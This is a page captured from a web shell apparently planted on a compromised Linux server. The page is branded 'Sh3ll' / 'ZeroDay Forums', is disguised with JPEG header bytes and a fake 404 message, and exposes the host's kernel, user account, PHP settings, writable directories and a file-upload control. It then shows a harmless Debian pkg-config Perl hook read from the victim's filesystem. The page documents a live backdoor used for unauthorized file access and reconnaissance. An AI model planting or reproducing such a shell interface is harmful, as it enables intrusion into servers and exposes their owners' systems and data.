ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : LiteSpeed
System : Linux v2202501248978307069 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
User : voirf6718 ( 1002)
PHP Version : 7.3.33-1+focal
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Directory :  /usr/share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/pkg-config-dpkghook
#! /usr/bin/perl
#
# Sets up /usr/bin/*-pkg-config symlinks to point to the cross wrapper.
#
# It is called from dpkg --post-invoke and from postinst with the "update"
# argument to instate the necessary symlinks.
#
# It is called from prerm with the "remove" argument to remove all symlinks.
#

use strict;
use warnings;

use Dpkg::Arch qw(debarch_to_gnutriplet);
use Dpkg::ErrorHandling qw(error warning);

my $crosswrapper = "/usr/share/pkg-config-crosswrapper";

my $action = $ARGV[0];
error("parameter must be 'remove' or 'update'")
  unless defined $action && ($action eq "remove" || $action eq "update");

my $arch = `dpkg --print-architecture`;
error('dpkg --print-architecture failed') if $? >> 8;
my @architectures = `dpkg --print-foreign-architectures`;
error('dpkg --print-foreign-architectures failed') if $? >> 8;
push @architectures, $arch;
chomp @architectures;

my %gnutriplets;
foreach my $arch (@architectures) {
     my $triplet = debarch_to_gnutriplet($arch);
     if (not defined($triplet)) {
	     warning("Architecture $arch not defined in architecture tables, ignored");
	     next;
     }
     $gnutriplets{$triplet} = 1;
}

my %symlinks = map { $_ => 1 } </usr/bin/*-pkg-config>;

foreach my $symlink (keys %symlinks) {
  $symlink =~ m,^/usr/bin/([^-]+-[^-]+-[^-]+)-pkg-config, or next;
  next if exists $gnutriplets{$1} && $action eq "update";
  next unless -l $symlink;
  next unless readlink $symlink eq $crosswrapper;
  unlink $symlink or
    error("failed to remove symlink $symlink: $!");
}

if ($action eq 'update') {
  foreach (keys %gnutriplets) {
    my $linktarget = "/usr/bin/${_}-pkg-config";
    next if exists $symlinks{$linktarget};
    next if -e $linktarget;
    symlink $crosswrapper, $linktarget or
      error("failed to create symlink $linktarget to $crosswrapper: $!");
  }
}

ZeroDay Forums Mini